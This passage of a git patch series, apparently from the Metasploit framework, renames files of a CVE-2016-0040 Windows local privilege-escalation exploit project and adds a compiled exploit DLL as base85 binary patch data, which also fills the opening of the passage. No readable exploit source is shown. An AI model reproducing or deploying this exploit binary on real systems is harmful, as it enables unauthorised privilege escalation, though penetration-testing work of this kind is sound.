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 Date: Fri, 1 Sep 2017 16:09:53 -0700 Subject: [PATCH 05/16] moved project to the source directory. --- .../CVE-2016-0040/Application/Application.c | 0 .../CVE-2016-0040/Application/Application.vcxproj | 0 .../exploits/CVE-2016-0040/CVE-2016-0040.sln | 0 .../exploits/CVE-2016-0040/Library/Library.c | 0 .../exploits/CVE-2016-0040/Library/Library.h | 0 .../exploits/CVE-2016-0040/Library/Library.vcxproj | 0 .../exploits/CVE-2016-0040/Metasploit/Metasploit.c | 0 .../exploits/CVE-2016-0040/Metasploit/Metasploit.h | 0 .../CVE-2016-0040/Metasploit/Metasploit.vcxproj | 0 .../exploits/CVE-2016-0040/Metasploit/inject.exe | Bin .../source}/exploits/CVE-2016-0040/Test.py | 0 .../exploits/CVE-2016-0040/cve-2016-0040.dll | Bin .../source}/exploits/CVE-2016-0040/requirements.txt | 0 13 files changed, 0 insertions(+), 0 deletions(-) rename {data => external/source}/exploits/CVE-2016-0040/Application/Application.c (100%) rename {data => external/source}/exploits/CVE-2016-0040/Application/Application.vcxproj (100%) rename {data => external/source}/exploits/CVE-2016-0040/CVE-2016-0040.sln (100%) rename {data => external/source}/exploits/CVE-2016-0040/Library/Library.c (100%) rename {data => external/source}/exploits/CVE-2016-0040/Library/Library.h (100%) rename {data => external/source}/exploits/CVE-2016-0040/Library/Library.vcxproj (100%) rename {data => external/source}/exploits/CVE-2016-0040/Metasploit/Metasploit.c (100%) rename {data => external/source}/exploits/CVE-2016-0040/Metasploit/Metasploit.h (100%) rename {data => external/source}/exploits/CVE-2016-0040/Metasploit/Metasploit.vcxproj (100%) rename {data => external/source}/exploits/CVE-2016-0040/Metasploit/inject.exe (100%) rename {data => external/source}/exploits/CVE-2016-0040/Test.py (100%) rename {data => external/source}/exploits/CVE-2016-0040/cve-2016-0040.dll (100%) rename {data => external/source}/exploits/CVE-2016-0040/requirements.txt (100%) diff --git a/data/exploits/CVE-2016-0040/Application/Application.c b/external/source/exploits/CVE-2016-0040/Application/Application.c similarity index 100% rename from data/exploits/CVE-2016-0040/Application/Application.c rename to external/source/exploits/CVE-2016-0040/Application/Application.c diff --git a/data/exploits/CVE-2016-0040/Application/Application.vcxproj b/external/source/exploits/CVE-2016-0040/Application/Application.vcxproj similarity index 100% rename from data/exploits/CVE-2016-0040/Application/Application.vcxproj rename to external/source/exploits/CVE-2016-0040/Application/Application.vcxproj diff --git a/data/exploits/CVE-2016-0040/CVE-2016-0040.sln b/external/source/exploits/CVE-2016-0040/CVE-2016-0040.sln similarity index 100% rename from data/exploits/CVE-2016-0040/CVE-2016-0040.sln rename to external/source/exploits/CVE-2016-0040/CVE-2016-0040.sln diff --git a/data/exploits/CVE-2016-0040/Library/Library.c b/external/source/exploits/CVE-2016-0040/Library/Library.c similarity index 100% rename from data/exploits/CVE-2016-0040/Library/Library.c rename to external/source/exploits/CVE-2016-0040/Library/Library.c diff --git a/data/exploits/CVE-2016-0040/Library/Library.h b/external/source/exploits/CVE-2016-0040/Library/Library.h similarity index 100% rename from data/exploits/CVE-2016-0040/Library/Library.h rename to external/source/exploits/CVE-2016-0040/Library/Library.h diff --git a/data/exploits/CVE-2016-0040/Library/Library.vcxproj b/external/source/exploits/CVE-2016-0040/Library/Library.vcxproj similarity index 100% rename from data/exploits/CVE-2016-0040/Library/Library.vcxproj rename to external/source/exploits/CVE-2016-0040/Library/Library.vcxproj diff --git a/data/exploits/CVE-2016-0040/Metasploit/Metasploit.c b/external/source/exploits/CVE-2016-0040/Metasploit/Metasploit.c similarity index 100% rename from data/exploits/CVE-2016-0040/Metasploit/Metasploit.c rename to external/source/exploits/CVE-2016-0040/Metasploit/Metasploit.c diff --git a/data/exploits/CVE-2016-0040/Metasploit/Metasploit.h b/external/source/exploits/CVE-2016-0040/Metasploit/Metasploit.h similarity index 100% rename from data/exploits/CVE-2016-0040/Metasploit/Metasploit.h rename to external/source/exploits/CVE-2016-0040/Metasploit/Metasploit.h diff --git a/data/exploits/CVE-2016-0040/Metasploit/Metasploit.vcxproj b/external/source/exploits/CVE-2016-0040/Metasploit/Metasploit.vcxproj similarity index 100% rename from data/exploits/CVE-2016-0040/Metasploit/Metasploit.vcxproj rename to external/source/exploits/CVE-2016-0040/Metasploit/Metasploit.vcxproj diff --git a/data/exploits/CVE-2016-0040/Metasploit/inject.exe b/external/source/exploits/CVE-2016-0040/Metasploit/inject.exe similarity index 100% rename from data/exploits/CVE-2016-0040/Metasploit/inject.exe rename to external/source/exploits/CVE-2016-0040/Metasploit/inject.exe diff --git a/data/exploits/CVE-2016-0040/Test.py b/external/source/exploits/CVE-2016-0040/Test.py similarity index 100% rename from data/exploits/CVE-2016-0040/Test.py rename to external/source/exploits/CVE-2016-0040/Test.py diff --git a/data/exploits/CVE-2016-0040/cve-2016-0040.dll b/external/source/exploits/CVE-2016-0040/cve-2016-0040.dll similarity index 100% rename from data/exploits/CVE-2016-0040/cve-2016-0040.dll rename to external/source/exploits/CVE-2016-0040/cve-2016-0040.dll diff --git a/data/exploits/CVE-2016-0040/requirements.txt b/external/source/exploits/CVE-2016-0040/requirements.txt similarity index 100% rename from data/exploits/CVE-2016-0040/requirements.txt rename to external/source/exploits/CVE-2016-0040/requirements.txt From 2ee94ca3d9496408992695cacf2472870cf1c70e Mon Sep 17 00:00:00 2001 From: Kirk Swidowski Date: Fri, 1 Sep 2017 16:49:17 -0700 Subject: [PATCH 06/16] made changes based on PR feedback. --- .../CVE-2016-0040/CVE-2016-0040.x64.dll | Bin 0 -> 89088 bytes .../CVE-2016-0040/Application/Application.c | 10 +- .../Application/Application.vcxproj | 192 +++++++++-------- .../exploits/CVE-2016-0040/Library/Library.c | 78 +++---- .../CVE-2016-0040/Library/Library.vcxproj | 173 +++++++-------- .../CVE-2016-0040/Metasploit/Metasploit.c | 13 +- .../Metasploit/Metasploit.vcxproj | 200 +++++++++--------- .../source/exploits/CVE-2016-0040/Test.py | 59 ------ .../exploits/CVE-2016-0040/requirements.txt | 2 - .../windows/local/ms16_014_wmi_recv_notif.rb | 2 +- 10 files changed, 347 insertions(+), 382 deletions(-) create mode 100755 data/exploits/CVE-2016-0040/CVE-2016-0040.x64.dll mode change 100644 => 100755 external/source/exploits/CVE-2016-0040/Application/Application.c mode change 100644 => 100755 external/source/exploits/CVE-2016-0040/Library/Library.c mode change 100644 => 100755 external/source/exploits/CVE-2016-0040/Metasploit/Metasploit.c delete mode 100644 external/source/exploits/CVE-2016-0040/Test.py delete mode 100644 external/source/exploits/CVE-2016-0040/requirements.txt diff --git a/data/exploits/CVE-2016-0040/CVE-2016-0040.x64.dll b/data/exploits/CVE-2016-0040/CVE-2016-0040.x64.dll new file mode 100755 index 0000000000000000000000000000000000000000..77c217976f839bbcbce755c9a919551413f0a258 GIT binary patch literal 89088 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 